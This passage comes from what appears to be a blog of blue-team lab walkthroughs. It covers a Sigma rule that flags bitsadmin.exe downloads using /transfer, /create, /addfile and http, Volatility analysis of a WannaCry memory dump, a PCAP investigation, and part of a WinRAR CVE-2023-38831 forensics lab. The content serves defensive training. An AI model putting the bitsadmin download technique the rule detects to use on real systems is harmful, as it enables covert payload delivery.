On line 23, under the Detection section, we can see that in the selection_img field, the rule is targeting bitsadmin.exe. Bitsadmin is a legitimate Windows binary used to create, download, or upload jobs and to monitor their progress. However, it can also be abused by attackers to download malware or other malicious payloads (see MITRE ATT&CK T1197 — BITS Jobs).

Question 2: What command-line option is used to indicate a file transfer in this rule?

Next, we need to determine which Bitsadmin command-line option is used to perform a file transfer with the tool. We can find this on line 26, where the selection_cmd field is targeting the /transfer command-line switch.

Notepad++: Identifying the command-line option in the Sigma rule

The presence of the /transfer switch tells us that the rule is searching for the use of bitsadmin in the context of file transfer activity.

Question 3: What logical expression in the condition field combined the criteria to trigger this rule?

To answer Question 3, we’ll need to identify the logical expression in the condition field that defines the criteria for the rule to trigger. This combination ties together the definitions we explored in the previous questions to build the rule’s logic.

We can find the condition field on line 33, where it shows:

selection_img and (selection_cmd or all of selection_cli_*)

Notepad++: Identifying the condition field in the Sigma rule

So, what does this mean? It means the detection rule is searching for bitsadmin.exe activity with the /transfer argument or where the CommandLine field contains /create, /addfile, and http—all of which are strong indicators of file download activity.

Question 4: Which specific field did this rule capture that shows the command being executed?

We touched on this in Question 2, but to answer Question 4 we need to determine the specific field the rule captures that shows the command being executed.

We can find this information on line 34, under the fields section of the rule.

Notepad++: Identifying the CommandLine field in the Sigma rule

This tells us that the CommandLine field must be present for the rule to run. That field is where the rule looks for command-line definitions like /transfer, or the combination of values in the selection_cli_* group — including /create, /addfile, and http.

Question 5: Which single ATT&CK tactic tag is listed first in this rule?

To answer Question 5, we’ll turn our attention to the Metadata section near the top of the rule. Under the tags field, we’ll see a list of ATT&CK tactic and technique references.

Notepad++: Identifying the first MITRE ATT&CK tactic listed in the Sigma rule

The answer to the question is the first item in the list on line 13: attack.defense-evasion. The attack. prefix tells us this is a MITRE ATT&CK reference. In this case, the first tactic listed is TA0005 €“ Defense Evasion:

Defense Evasion _Build Image on Host Adversaries may build a container image directly on a host to bypass defenses that monitor for the…_attack.mitre.org

Question 6: What is the primary category of events that this Sigma rule was written to monitor?

The next component of this Sigma rule we need to analyze is the Logsource section, starting on line 18. Remember from our Sigma overview that this section “is used to specify what log data should be searched by the rule.”

Notepad++: Identifying the primary Logsource category in the Sigma rule

The category field indicates the type of events being monitored. In this case, the rule is written to detect Windows process creation events (usually Event ID 4688), which is a common source for identifying suspicious command-line execution — keep that one in your back pocket!

Question 7: What specific command-line argument did this rule look for to identify HTTP-based downloads?

We touched on command-line arguments targeted by the rule back in Question 3 and Question 4. Recall that one of the conditions included a check for http.

Notepad++: Identifying the http command-line option in the Sigma rule

This helps identify suspicious or malicious use of bitsadmin to grab payloads over HTTP.

Question 8: Which command-line option must be present to create a new transfer using bitsadmin?

We’ve made it to the last question of our Sigma rule analysis — nice job! The final object we need to identify is another one we touched on in Question 3 and Question 4.

To answer Question 8, we’ll want to look at line 29, which shows the /create value. In the context of bitsadmin, the /create argument is used to initiate a new transfer job — which is exactly what we need to wrap up our analysis!

Notepad++: Identifying the /create command-line option in the Sigma rule

Conclusion:

How fun was that? A big thank you to LetsDefend for putting together another solid, beginner-friendly challenge.

This investigation was a great introduction to Sigma rules and how they’re used to detect suspicious behavior in log data. We explored how rules are structured, how they leverage fields like CommandLine, and how they align with MITRE ATT&CK tactics like Defense Evasion. From identifying the use of bitsadmin.exe, to parsing command-line arguments like /transfer, /create, and http, this challenge gave us a hands-on look at how Sigma expresses detection logic in a readable, flexible format.

I chose this challenge to sharpen my detection engineering workflow and get reacquainted with Sigma’s YAML structure, since I don’t typically work with Sigma rules directly. Instead, I usually convert them to my required SIEM or log format for the application at hand — which can be really helpful if you want to leverage Sigma rules but use a different solution like Splunk, Microsoft, Elastic, etc.

This challenge was also a great opportunity to slow down and take the extra time to research the answers, not just search for them. That deeper dive helped me build a true understanding of how the rule works and why each component matters. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap and consider following me for more content like this! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://app.letsdefend.io/challenge/learn-sigma

Notepad++: https://notepad-plus-plus.org/

Sigma GitHub: https://github.com/SigmaHQ/sigma

Sigma Documentation: https://sigmahq.io/docs/basics/rules.html

Microsoft Learn — Bitsadmin: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin

MITRE ATT&CK — BITS Jobs (T1197): https://attack.mitre.org/techniques/T1197/

MITRE ATT&CK — Defense Evasion (TA0005): https://attack.mitre.org/tactics/TA0005/

Blue Team Labs Online — Memory Analysis - Ransomware Walkthrough

Mon, 03 Nov 2025 00:00:00 +0000

Blue Team Labs Online | Memory Analysis — Ransomware | Walkthrough

A Memory Analysis Challenge Using Volatility 2.6.

Image Credit: https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Memory Analysis — Ransomware blue team challenge from Blue Team Labs Online, you’re in the right place.

This challenge is a great entry point into the world of memory forensics, process analysis, and threat intelligence. But don’t worry — whether you’re just getting started in incident response or you’ve already built up some muscle memory with Volatility, there’s plenty here to learn.

Let’s check out the scenario to get started:

Challenge Scenario:

The Account Executive called the SOC earlier and sounds very frustrated and angry. He stated he can’t access any files on his computer and keeps receiving a pop-up stating that his files have been encrypted. You disconnected the computer from the network and extracted the memory dump of his machine and started analyzing it with Volatility. Continue your investigation to uncover how the ransomware works and how to stop it!

Yikes! This challenge puts us squarely in the middle of a ransomware investigation. We’ll be using Volatility to analyze the memory dump, identify suspicious processes, extract forensic artifacts, and ultimately confirm the ransomware family involved. Along the way, we’ll pivot to tools like VirusTotal and use command-line utilities to hash and verify dumped binaries.

I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Setup the Analysis Environment & Extract the Challenge File:

Safety first! When working with lab/challenge files from Blue Team Labs Online (or any educational lab/challenge/range), it’s important to be responsible and stay safe by interacting with potentially malicious files in a dedicated, isolated virtual machine environment. For this challenge I’m using REMnux, a specialized Linux distribution for malware analysis.

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–)

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: Run “vol.py -f infected.vmem — profile=Win7SP1x86 psscan” that will list all processes. What is the name of the suspicious process?

Let’s kick off our memory dump investigation. To analyze the contents of the memory dump file, infected.vmem, we’ll use Volatility, a popular memory forensics tool. There are a couple of versions of Volatility: Volatility 2.6 (the original, no longer in active development) and Volatility 3 (in active development).

Overview of the Challenge File Folder

So, which one should we choose? The question is asking us to use the OS profile switch for Win7SP1x86, which tells us we need to use Volatility 2 (which I’ll just call Volatility from here on out). In Volatility 3, OS profiles aren’t needed — it uses a different plugin architecture and auto-detection mechanisms.

One last helpful piece of background: we can access the Volatility command reference on the project’s GitHub, which helps us understand what each command is doing:

Command Reference _An advanced memory forensics framework. Contribute to volatilityfoundation/volatility development by creating an…_github.com

Now that we’ve gotten all our ducks in a row, let’s get to work!

Start by opening a terminal in the folder containing the infected.vmem file and executing the command from the question:

vol.py -f infected.vmem –profile=Win7SP1x86 psscan

This command opens Volatility and parses the infected.vmem image file using the psscan plugin. According to the documentation:

To enumerate processes using pool tag scanning (_POOL_HEADER), use the psscan command. This can find processes that previously terminated (inactive) and processes that have been hidden or unlinked by a rootkit.

The psscan output shows us all processes running on the victim’s system at the time of capture. It might look a little daunting at first, but there are a couple of odd-looking processes in the list:

@WanaDecryptor
or4qtckT.exe

Volatility: Identifying Suspicious Processes with psscan

For the purposes of this investigation, we’ll focus on WanaDecryptor for a couple of reasons:

The name is similar to a famous ransomware campaign.
There are two instances: one terminated and one still active.
The second process is the parent, which we’ll need to answer Question 2.

Questions 2 & 3:

What is the parent process ID for the suspicious process?

What is the initial malicious executable that created this process?

I might’ve spoiled it in the last question, but to answer Question 2, we need to provide the parent process ID (PPID) of the suspicious process from the psscan results. We can identify this by looking at the PPID column for the suspicious process line.

Volatility: Identifying the Suspicious Process PPID

The PPID matches the process ID (PID) of the second suspicious process we identified: or4qtckT.exe. This means it’s the parent process that created the suspicious process from Question 1.

Volatility: Identifying the Suspicious Parent Executable

To answer Question 3, we now know that or4qtckT.exe is the initial malicious executable that spawned the process we flagged earlier which helps to establish the relationship in the attack chain.

Question 4: If you drill down on the suspicious PID (vol.py -f infected.vmem — profile=Win7SP1x86 psscan | grep (PIDhere)), find the process used to delete files

For our next task, we’re going to continue analyzing the output from the psscan plugin. This time, we’re going to leverage grep to display only the entries related to the PID of or4qtckT.exe, which we uncovered in the last question. Here’s the command:

vol.py -f infected.vmem –profile=Win7SP1x86 psscan | grep 2732

The output helps us quickly identify a second child executable: taskdl.exe. It shares the same PPID as the first one. While we don’t yet have further analysis of this binary, the fact that the malicious executable spawned both processes allows us to reasonably guess that this is the process used to delete files.

Volatility: Identifying a Second Process with the Malicious Parent Process

Question 5: Find the path where the malicious file was first executed

Moving right along to Question 5, we’ll need to pivot away from psscan to another module. When determining the right one to use, it can be really useful to pull up Volatility’s help menu and review the options. You can access it with the command:

vol.py -h

Based on the available options, it seems like the cmdline module will fit the bill, as it’s used to “display process command-line arguments.” Let’s give it a try with a quick adjustment to our command. We’ll combine the cmdline function with grep to focus on the malware or4qtckT.exe:

vol.py -f infected.vmem –profile=Win7SP1x86 cmdline | grep 2732

Volatility: Identifying the Malware File Location with cmdline

Awesome! This gives us exactly what we needed — the file path of the executable, right on the “hacker’s” desktop.

Question 6: Can you identify what ransomware it is? (Do your research!)

Now that we’ve identified the malicious executable and its child processes, it’s time to pivot to threat intelligence to figure out what ransomware family we’re dealing with. The approach is straightforward: obtain the file hash for or4qtckT.exe, check VirusTotal, and use the intelligence to confirm the ransomware family.

First, we’ll dump the executable using Volatility’s procdump command, specifying the PID we found in Question 2:

vol.py -f infected.vmem –profile=Win7SP1x86 procdump –pid=2732 –dump-dir OUTPUTDIRECTORY

Volatility: Dumping the malicious executable with prodcump & obtaining the file hash

With the executable dumped, we can calculate the SHA-256 file hash using sha256sum command:

5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6

Next, head to VirusTotal, and input the file hash in the search box. We’ll see immediately that this sample has been analyzed on the platform already and that a majority of vendors have tagged it as malicious.

https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6

To answer Question 6, we’re interested in the Family and Threat Label tags, identifying this file as part of the WannaCry ransomware family. This lines up with the naming similarity we stumbled on earlier in Question 1, which solidifies the findings.

Question 7: What is the filename for the file with the ransomware public key that was used to encrypt the private key? (.eky extension)

We’ve made it to the final question, and this one asks us to find the filename of the ransomware public key with the .eky extension. This is a little outside the usual scope of the challenge, but .eky isn’t a common file extension. It’s most often associated with the WannaCry ransomware family, which fits with what we found in Question 6.

So, how do we find it? We’ll use another Volatility module: dumpfiles. This lets us check other files cached in memory for the PID tied to the malicious process. The command looks similar to the one we use in Question 6:

vol.py -f infected.vmem –profile=Win7SP1x86 dumpfiles –pid=2732 –dump-dir OUTPUTDIRECTORY

Volatility: Dumping the associated files for the malicious PID with dumpfiles

When we run this command, the associated files dump to the specified directory, and the listing also prints to the console. From that output, we see the first two lines contain the filename 00000000.eky. That’s the key file we need to wrap up this investigation!

Conclusion:

How fun was that? A big thank you to Blue Team Labs Online for putting together another solid challenge.

This investigation was a breezy introduction to Volatility and ransomware behavior. It’s a great example of how memory analysis can reveal the full scope of an attack — from identifying suspicious processes with psscan, to extracting binaries with procdump, and finally confirming the ransomware family via threat intelligence — even when disk artifacts aren’t available.

I chose this challenge to sharpen my incident response workflow and get reacquainted with Volatility, especially in scenarios where ransomware is involved. The investigation pushed me to pivot between modules, apply threat intelligence, do some research about this ransomware, and yes — stumble across clues like the .eky file. Awesome stuff!

Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don’t forget to give it a clap! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we’re in this together!

Until next week’s challenge — stay curious and be safe out there!

Tools & References:

Challenge Link: https://blueteamlabs.online/home/challenge/memory-analysis-ransomware-7da6c9244d

REMnux: https://remnux.org/

Volatility: https://volatilityfoundation.org/the-volatility-framework/

Volatility — Command Reference: https://github.com/volatilityfoundation/volatility/wiki/Command-Reference#psscan

VirusTotal: https://www.virustotal.com/

VirusTotal — Sample: https://www.virustotal.com/gui/file/5215d03bf5b6db206a3da5dde0a6cbefc8b4fee2f84b99109b0fce07bd2246d6

MITRE ATT&CK — Software — WannaCry (S0366): https://attack.mitre.org/software/S0366/

TryHackMe — Warzone 2 Room Walkthrough

Sun, 19 Oct 2025 00:00:00 +0000

TryHackMe — Warzone 2 Room Walkthrough

A Second Network Packet Capture Investigation Using Brim/Zui, Network Miner, and VirusTotal.

Image Credit: https://tryhackme.com/room/warzonetwo

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the Warzone 2 room from TryHackMe, you’re in the right place. This challenge is the second in a series of fantastic rooms aimed at introducing you to forensic network packet analysis using some lesser-known tools.

If you want to follow along in order, you can start with the Warzone 1 room first:

TryHackMe — Warzone 1 Room Walkthrough

Challenge Scenario:

You work as a Tier 1 Security Analyst L1 for a Managed Security Service Provider (MSSP). Again, you’re tasked with monitoring network alerts.

An alert triggered: Misc activity, A Network Trojan Was Detected, and Potential Corporate Privacy Violation.

The case was assigned to you. Inspect the PCAP and retrieve the artifacts to confirm this alert is a true positive.

In this challenge, we’re stepping back into the shoes of a Security Analyst at an MSSP, monitoring network traffic alerts for one of your customers when suddenly, an alert fires from their IDS/IPS. We’re given a network packet capture file, a PCAP, and need to quickly determine if this is a true positive by analyzing the artifacts within the traffic.

Now that you’ve already got some experience, you might guess what’s in our toolkit for this investigation. We’ll be busting out Brim again to process, search, and analyze the PCAP, and then pivoting to Network Miner for a file analysis. We’ll also enrich our findings by consulting VirusTotal to add context to any indicators of compromise (IOCs) we discover.

I’ll walk through each step clearly, and avoid spoiling the answer. By the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or just gives you a clearer view of the blue team — please give it a clap and consider following me for more content like this.

Thanks for reading and going on this investigation with me!

Question 1: What was the alert signature for A Network Trojan was Detected?

Once in our analysis environment, let’s get acquainted with our toolset so we can start forming a plan. You’ll find everything we need in the Tools folder on the Desktop.

Contents of the Tools Folder

To answer Question 1, we’re searching for an alert signature. So, our first stop will be to use Brim (now called Zui) because it has the ability to use Suricata intrusion detection rules to help quickly identify threats or malicious traffic within the packet capture.

Go ahead and launch it — and speaking of packet captures, once Brim is open, load the challenge file Zone2.pcap , and wait for it to process the capture file.

Brim: Loading Zone2.pcap

Once the file is loaded, let’s get an overview of the Suricata rule hits detected in the network traffic. Select the Zone2.pcap file, click Suricata Alerts by Category under the Queries header, and review the displayed alert categories.

Brim: Overview of Suricata Alerts by Category

We’re going to focus on a Network Trojan was detected since that’s what the question is asking about. Our next step is to find the alert signature for this category.

To do this, right-click the a Network Trojan was detected row and select New search with this value.

Brim: Selecting New search with the a Network Trojan was detected value.

This selection adjusts the query to display packets matching the Suricata rule — and more importantly, it reveals the details we need to answer Question 1 under the alert.signature column.

Brim: Identifying the alert signature

Question 2: What was the alert signature for Potential Corporate Privacy Violation?

Our next task is to determine the alert signature for a second alert category: Potential Corporate Privacy Violation.

For this, we’ll simply perform the same process we used in Question 1 — select New search with this value for the Potential Corporate Privacy Violation category.

Brim: Selecting New search with the a Potential Corporate Privacy Violation value.

This time, we’ll see a different alert.signature value compared to Question 1.

Brim: Identifying the alert signature.

Question 3: What was the IP to trigger either alert? Enter your answer in a defanged format.

Answering Question 3 requires us to determine the IP address that triggered either alert. The wording is a bit confusing, but we’re looking for the source IP address (src_ip) associated with the HTTP file download. Either alert will display the same information.

Brim: Identifying the source IP of the alert

Before we can submit the answer, we need to defang the IP address. This is a common practice to ensure that malicious IPs and URLs aren’t accidentally clicked or activated. While this is easy to do manually, let’s work a little smarter and use CyberChef for the task.

The offline version of CyberChef is included in the Tools folder, but the online version works just as well. To defang the source IP address:

Open CyberChef.
Select the Defang IP Addresses operation.
Paste the source IP address into the Input field.

And voilà — we have the defanged IP address.

Question 4: Provide the full URI for the malicious downloaded file. In your answer, defang the URI.

Now that we’ve identified a suspicious IP address, we can pivot our search and focus on that address. To do this, simply open a new tab in Brim and enter the IP address to view the results.

Without any additional filtering, you’ll see that the first result with the notice label contains the full URL of a downloaded .cab file.

Brim: Finding the URL of the malicious download

Once again, before we submit the answer, we’ll need to hop into CyberChef to defang the URL.

CyberChef: Defanging the URL of the malicious download

Question 5: What is the name of the payload within the cab file?

To answer Question 5, we’ll turn our attention to examining the malicious .cab file we identified in the last question. For this job, we’re going to make a quick detour in our tooling and swap over to Network Miner, also contained in the Tools folder on the Desktop.

Open up Network Miner and load the Zone2.pcap. This is where Network Miner shines — it can easily parse, identify, and categorize various elements within the network traffic streams, including reassembling files. This will make determining the contents of the .cab file much easier.

Let’s put this into practice and select the Files tab. The top entry filename might look familiar — this is the .cab file we’re looking for.

Now, a quick note on .cab files: they’re short for cabinet files, a native Windows archive format used to compress and bundle files, often for software installation. That makes them a perfect disguise for attackers trying to sneak payloads past defenses. If you stumble across one in a network capture, it may be worth a closer look.

Network Miner: Grabbing the file hash of the malicious file

Rather than do any analysis directly on the file, we’ll pivot out to VirusTotal to check if this sample has been submitted to the platform before. For this, we’ll need the hash of the .cab file, which we can get by double-clicking the entry in Network Miner and copying the SHA256 hash.

Now that we have the file hash, use your web browser outside of the TryHackMe VM (since it doesn’t have direct internet access) and navigate to https://virustotal.com. Submit the copied file hash into the search box to see the results.

https://www.virustotal.com/gui/file/3769a84dbe7ba74ad7b0b355a864483d3562888a67806082ff094a56ce73bf7e

Immediately, we’ll see that nearly all vendors on the platform have marked this file as malicious. But what we’re interested in is the file name field below the hash — this tells us the payload name within the .cab file and is what we’ll need to answer Question 5.

Question 6: What is the user-agent associated with this network traffic?

Question 6 requires us to determine the user-agent string associated with the network traffic. In legitimate use cases, these strings help identify the client browser or application connecting to a resource over HTTP. They can sometimes give us clues about the origin of a request, but unfortunately, they’re also easily spoofed, so we’ll treat them as hints, not hard evidence.

We can perform this task in either Network Miner or Brim. For the purposes of this walkthrough, I’ll demonstrate using Brim.

Since we already have the search open for the source IP of the malicious traffic, we’ve got a head start. Remember how I mentioned user-agent strings apply to HTTP traffic? Focus on the row labeled http — this is where we’ll find the user_agent string.

This long string tells us a bit about the browser and operating system the victim used to retrieve the malicious .cab file. While deeper analysis is out of scope for this challenge, it’s a fun side activity to plug the string into a User Agent Lookup tool and see what you can learn. For example:

https://www.whatismyip.net/tools/user-agent-lookup.php

Question 7: What other domains do you see in the network traffic that are labelled as malicious by VirusTotal? Enter the domains defanged and in alphabetical order. (format: domain[.]zzz,domain[.]zzz)

Now that we’ve gotten some additional context about the request, it’s time to return to our hunt for suspicious domains. This process combines the data in Brim with threat intelligence from VirusTotal.

First, we’ll leverage Brim’s Unique DNS Queries page to determine all of the DNS requests in the traffic. You’ll find this query under the Queries menu.

Brim: Viewing Unique DNS Queries

This will list out all of the DNS requests. Yikes — there are quite a few domains.

So, let’s head back to our VirusTotal search for the .cab file hash. Press the Relations tab and turn your attention to the Contacted Domains section. Here, we’ll find several domains contacted by this binary, complete with their own detection ratings.

VirusTotal: Contacted Domains under Relations tab

Focusing on the ones flagged as malicious, we can correlate them with the results back in Brim.

Notice a problem? We’ve got more than two entries matching — but the question only wants two.

No problem! Let’s filter this down further by using the Suricata Alerts by Source and Destination tab. We’ve already analyzed the two labeled Potentially Bad Traffic and A Network Trojan was detected.

Brim: Filtering by Misc activity alert

Instead, we’ll check the one with the alert field labeled Misc activity and perform a new search.

Brim: Identifying the malicious domains

This returns results for the IP associated with Misc activity, where we can find two domains that were also present in the DNS queries and flagged as malicious on VirusTotal. Correlating the results from these three views gives us high confidence in answering Question 7.

Now all we need to do is defang them in CyberChef again and put them in alphabetical order.

Question 8: There are IP addresses flagged as Not Suspicious Traffic. What are the IP addresses? Enter your answer in numerical order and defanged. (format: IPADDR,IPADDR)

Back to the Suricata Alerts by Source and Destination tab. Question 8 asks us to analyze the alert tag Not Suspicious Traffic. Fortunately, the information is readily available, and we can quickly identify the IP addresses associated with this tag.

Brim: Identifying IP addresses with the “Not Suspicious Traffic” tag.

As before, once we’ve located the IPs, we’ll head over to CyberChef. Paste the IPs into the input window in numerical order, apply the Defang IP Address operation, and you’ll have them formatted correctly for submission.

Question 9: For the first IP address flagged as Not Suspicious Traffic. According to VirusTotal, there are several domains associated with this one IP address that was flagged as malicious. What were the domains you spotted in the network traffic associated with this IP address? Enter your answer in a defanged format. Enter your answer in alphabetical order, in a defanged format. (format: domain[.]zzz,domain[.]zzz,etc)

Let’s dig into some analysis of the IP addresses marked as Not Suspicious Traffic from the previous question and validate the results.

We’ll start by searching for the first IP — the one beginning with 64. This will show us all associated log entries, but it’s a bit unwieldy to sort through. To make things easier, we can apply some filtering and focus on entries with a server_name tag, which helps us narrow down any associated domain names.

|server_name

Brim: Surfacing domain names associated with an IP address

This gives us three distinct domains associated with this IP address in the PCAP.

Let’s jump back over to VirusTotal and search the IP address, navigating to the Relations tab. Take a look at the Passive DNS Replication area — notice anything interesting?

VirusTotal: Correlating domain names with threat intelligence

All three domains we surfaced in Brim also appear in the VirusTotal entry, complete with indicators of malicious activity. It turns out this IP is more suspicious than we originally believed.

Question 10: Now for the second IP marked as Not Suspicious Traffic. What was the domain you spotted in the network traffic associated with this IP address? Enter your answer in a defanged format. (format: domain[.]zzz)

We’ve made it to the last question! Our final objective is to analyze the second IP we found in Question 8 labeled Not Suspicious Traffic.

Brim: The second IP address labeled “Not Suspicious Traffic”

Then, we’ll perform the same steps we did for Question 9 — search the IP address and filter the entries for the server_name tag. Once we have the results, there’s only a single domain listed. That’s the one we need to wrap up this investigation.

Brim: Surfacing domain names associated with a second IP address

Before you defang the answer, if you’re curious, you can check this result on VirusTotal as well. At the time of this writing, this domain does indeed appear to be not suspicious. That’s a good reminder to always cross-check your results to make a more informed determination about a threat.

It also serves as a reminder that indicators of compromise, like domains, are easy for a threat actor to change. Timely threat intelligence can make all the difference!

Conclusion:

How fun was that! A big thank you to TryHackMe for the part two of this fun and realistic challenge.

By once again analyzing the PCAP file containing suspicious network traffic using Brim and Network Miner, and enriching our findings with VirusTotal, we successfully identified several malicious IP addresses and domains associated with a threat actor. Then we determined what files were downloaded from the malicious infrastructure and learned more about the threat. Putting all the evidence together, we can confirm the alert as a true positive and move on to the containment phase.

I chose this weekly challenge to spend more hands-on time with Brim/Zui and the awesome Suricata rules built in. I also really appreciate the immense capabilities of Network Miner — I’m always impressed by how easy it is to use, and how much depth it offers particularly for quick file analysis and reassembly. In the real world, I’ve used both tools numerous times to visualize data in a PCAP and uncover information that was time-consuming and difficult to find using other tools. It’s absolutely worth keeping in the kit.

It’s a Warzone out there, stay curious and be safe!

Tools & References:

Challenge Link: https://tryhackme.com/room/warzonetwo

Brim/ZUI: https://zui.brimdata.io/

Network Miner: https://www.netresec.com/?page=NetworkMiner

VirusTotal: https://www.virustotal.com/

CyberChef: https://gchq.github.io/CyberChef/

WhatIsMyIP — User Agent Lookup: https://www.whatismyip.net/tools/user-agent-lookup.php

CyberDefenders — SpottedInTheWild Blue Team Lab Walkthrough

Sun, 12 Oct 2025 00:00:00 +0000

CyberDefenders — SpottedInTheWild Blue Team Lab Walkthrough

A Windows DFIR Challenge Using Arsenal Image Mounter, FTK Imager, Detect It Easy, ProcMon, CyberChef, and Eric Zimmerman’s Tools

Image Credit: https://cyberdefenders.org/blueteam-ctf-challenges/spottedinthewild/?cta=navbar-sign-in&origin=%2Fblueteam-ctf-challenges%2Fspottedinthewild%2F

Introduction:

Welcome to my weekly walkthrough! If you’ve stumbled across this blog while looking for a detailed guide to the SpottedInTheWild blue team challenge from CyberDefenders, you’re in the right place. This challenge is rated HARD by the authors, but don’t let the difficulty rating scare you off. Whether you’re just getting started in digital forensics or you’ve been around the block a few times, this challenge has something for everyone.

Challenge Scenario:

You are part of the incident response team at FinTrust Bank. This morning, the network monitoring system flagged unusual outbound traffic patterns from several workstations. Preliminary analysis by the IT department has identified a potential compromise linked to an exploited vulnerability in WinRAR software.

For this challenge, we’re putting on our incident response hats. Several workstations in the environment are showing suspicious outbound traffic, and it’s up to us to shed some light on the situation. Fortunately, we’re given a virtual hard disk for one of the devices, so we can dig into all the forensic artifacts, reconstruct a timeline, and determine what happened.

This scenario pushes us to think creatively, pivot between tools, and piece together a full attack chain using a variety of forensic artifacts. We’ll be using a mix of Eric Zimmerman’s forensic tools, FTK Imager, CyberChef, Detect It Easy, and even a few public sandbox platforms like Any.Run and VirusTotal to validate our findings. If you’re using Flare-VM, most of these tools are already built in and ready to go.

I’ll walk through each step clearly, and by the end, you’ll have a solid understanding of how to approach similar investigations in the wild. Sounds like fun, right? Let’s get into it!

Thanks for reading and going on this investigation with me!

Important: Setup a Safe Analysis Environment & Extract the Challenge File:

Safety first! It’s always important when working with lab/challenge files from CyberDefenders (or any educational lab/challenge/range) to keep yourself protected by performing these tasks in a dedicated, isolated virtual machine environment. As this is a Windows-based challenge, I’m using FLARE-VM for this challenge which is " # “a collection of software installations scripts for Windows systems that allows you to easily setup and maintain a reverse engineering environment on a virtual machine (VM).“To keep this write-up focused I’m going to skip the step-by-step setup of FLARE-VM but _i_f you’d like to set up your own environment, please follow the directions provided directly by FLARE-VM on GitHub.

Once you have a safe virtual environment created, updated, isolated, and snapshotted, we can extract the challenge file and start the investigation!

Question 1: In your investigation into the FinTrust Bank breach, you found an application that was the entry point for the attack. Which application was used to download the malicious file?

Let’s kick off our investigation and start digging into the provided artifacts. First, unzip the 166-SpottedInTheWild.zip archive from CyberDefenders using the password provided on the challenge page.

Once extracted, we’ll have access to the challenge file: c125-SpottedInTheWild.vhd.

So, what do we do with this thing? There are a variety of options, some of which we’ll explore during this investigation. As a first point of entry, we’ll leverage one of the suggested tools in the challenge, Arsenal Image Mounter. Arsenal gives us the ability to mount the virtual hard disk (.VHD) file and view the contents of the file system so we can analyze the forensic artifacts contained within.

Open Arsenal and press the Mount Disk Image button at the bottom. Select c125-SpottedInTheWild.vhd and use the default mount options.

Arsenal: Selecting the default mount options

Once it’s loaded, we’ll see the file listed in the center pane. As a shortcut, we can open the mounted directory by pressing the F:\ drive letter.

Arsenal: Opening the mounted directory

Now we can start checking out the contents of the challenge file.

To answer Question 1, we need to determine which file is malicious and where it came from. A logical starting point is the Downloads folder, which we can access by opening the path C\Users\Administrator\Downloads.

Inside that directory, we’ll find a folder named Telegram Desktop, which contains a suspicious WinRAR archive: SANS SEC401.rar. Something feels off…

Identifying the suspicious download

This archive supposedly contains material from the SANS 401 Security Essentials course, but the folder name suggests it came from the Telegram Desktop app, which is unusual. Since this is the only file in any of the download directories, it’s likely the malicious file used to gain initial access to the victim’s device. We’ll confirm this later in our investigation.

For now, we can reasonably assume that Telegram is the application used to download the file. We can confirm its presence on the system by navigating to C\Users\Administrator\AppData\Roaming\Telegram Desktop.

Confirming the presence of Telegram Desktop on the victim device

Question 2: Finding out when the attack started is critical. What is the UTC timestamp for when the suspicious file was first downloaded?

Great! Now that we’ve positively identified the malicious file and its source, we need to grab the timestamp in UTC for when this file was first downloaded. This will help us start building out a timeline of the attack.

There are several ways to approach this task, but for this walkthrough we’ll leverage the Master File Table (MFT) artifact from the victim’s image. If this is a new artifact for you, here’s an excellent overview from the Magnet Forensics blog:

In the Windows NTFS file system, the MFT is a database that stores metadata about every file on an NTFS file system volume. It contains records describing each file’s attributes, such as its name, size, timestamps, permissions, and more.

The idea here is to use the $MFT to grab the creation timestamp of the Telegram Desktop folder, and to have this artifact loaded for later in the investigation.

To analyze this artifact, we’ll use Eric Zimmerman’s MFTExplorer, a graphical parser for the $MFT that lets us explore its contents. If you’re following along using Flare-VM, this tool is already built-in.

Open MFTExplorer, then go to File > Load MFT, and select the victim’s $MFT from the C directory of the mounted file system.

The location of the $MFT artifact on the victim image

Once the $MFT is open, navigate to the C:\Users\Administrator\Downloads directory in the file tree. With the contents displayed, check the SI_Created On column to grab the time this file was created (or downloaded) onto the disk. This is the timestamp we need to answer Question 2.

MFTExplorer: Identifying the file creation time of Telegram Desktop

Question 3: Knowing which vulnerability was exploited is key to improving security. What is the CVE identifier of the vulnerability used in this attack?

Our next objective is to identify which vulnerability was used to carry out the attack. This is a great opportunity to pivot to an external threat intelligence platform so we can benefit from the research of the broader security community. But first, we need to obtain the file hash of the malicious archive.

Jump back into the file explorer and navigate to the Telegram Desktop folder.

To collect the hash of SANS SEC401.rar, we can use PowerShell’s Get-FileHash command:

PowerShell: Computing the malware archive file hash

D1A55BB98B750CE9B9D9610A857DDC408331B6AE6834C1CBCCCA4FD1C50C4FB8

Now that we’ve obtained the SHA256 file hash, head over to VirusTotal and submit the hash in the search box. We’ll discover that this sample has already been submitted to the platform, and about half of the security vendors flag the archive as malicious. However, what we’re really interested in is one of the tags: CVE-2023€“38831.

